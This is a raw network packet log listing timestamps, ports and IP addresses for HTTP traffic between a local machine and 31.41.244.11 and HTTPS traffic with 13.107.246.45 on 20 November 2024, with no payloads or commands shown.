Nov 20, 2024 04:08:10.309946060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309962988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309962988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309962988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309978962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309983969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310004950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310004950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310024977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310025930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310050011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310060978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310060978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310065985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310082912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310100079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310100079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310106993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310125113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310129881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310141087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310147047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310158968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310168982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310173035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310185909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310199022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310204029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310216904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310225964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310233116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310250998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310257912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310257912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310266972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310278893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310286045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310302019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310305119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310305119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310319901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310323954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310364962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310364962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310391903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310431957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310439110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310446978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310463905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310482979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310497999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310501099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310497999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310497999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310530901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310550928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310611010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310626984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310662985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310663939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310686111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310733080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310750961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310765028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310779095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310795069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310806036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310806036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310831070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310831070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310849905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310864925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310882092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310894966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.310897112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310914993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310939074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.310939074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311189890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311238050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311249971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311299086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311333895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311350107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311367035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311387062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311387062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311389923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311407089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311408043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311430931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311441898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311450005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311466932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311470032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311470032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311484098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311489105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311506987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311510086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311523914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311530113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311542034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311549902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311559916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311567068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311583996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311594009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311603069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311644077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311646938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311659098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311697006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311697960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311717033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311732054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311748028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311763048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311764956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311780930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.311794043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311794043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311813116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.311831951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312124968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312139988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312186956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312186956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312236071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312264919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312280893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312289953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312299967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312316895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312316895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312325954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312341928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312352896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312359095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312375069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312376976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312390089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312396049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312407017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312422037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312422037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312441111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312448978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312459946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312467098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312484026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312500954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312505960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.312520027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312537909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.312556982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.319789886 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.319853067 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.319931984 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.319994926 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.320710897 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.320858002 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.320924044 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.321134090 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.321188927 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.346893072 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.348809004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348834991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348851919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348872900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348891020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348906040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.348922014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.349013090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.349013090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.349013090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.349013090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.349368095 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.349407911 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.349442005 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.349457026 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.357929945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.357954979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.357988119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.357996941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358005047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358016968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358023882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358041048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358045101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358045101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358066082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358068943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358083963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358083963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358108997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358123064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358131886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358139992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358150959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358156919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358172894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358175039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358191967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358192921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358206987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358218908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358218908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358220100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358237982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358238935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358257055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358258009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358258009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358273029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358279943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358289957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358300924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358306885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358319998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358325005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.358340025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358340025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.358382940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.370281935 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.370362043 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.370971918 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.370986938 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.371176004 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.371176004 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.371218920 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.371243000 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.374958992 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.375022888 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.375099897 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.376171112 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.376210928 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.376265049 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.376311064 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.376329899 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.376440048 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.376455069 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.390192032 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.393084049 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.393104076 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.393465996 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.393471956 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.397874117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397898912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397914886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397929907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397945881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397948980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.397960901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.397973061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.397978067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398001909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398017883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398020029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398030996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398041964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398046970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398061991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398065090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398081064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398082972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398097038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398108959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398108959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398113966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398132086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398133993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398133993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398144960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398175001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398175001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398197889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398408890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398422956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398437977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398463011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398472071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398472071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398478985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398493052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398516893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398516893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398529053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398545980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398562908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398582935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398582935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398593903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398603916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398612022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398627996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398643970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398654938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398654938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398679972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398680925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398684978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398700953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398718119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398731947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398737907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398749113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398758888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398787022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398789883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398808002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398808002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398824930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398839951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398850918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398852110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398855925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398875952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398879051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398879051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398897886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398916960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398916960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398931980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398948908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.398969889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.398989916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399008989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399017096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399034023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399049044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399063110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399071932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399079084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399094105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399116039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399135113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399329901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399346113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399370909 CET	80	62430	31.41.244.11	192.168.2.4
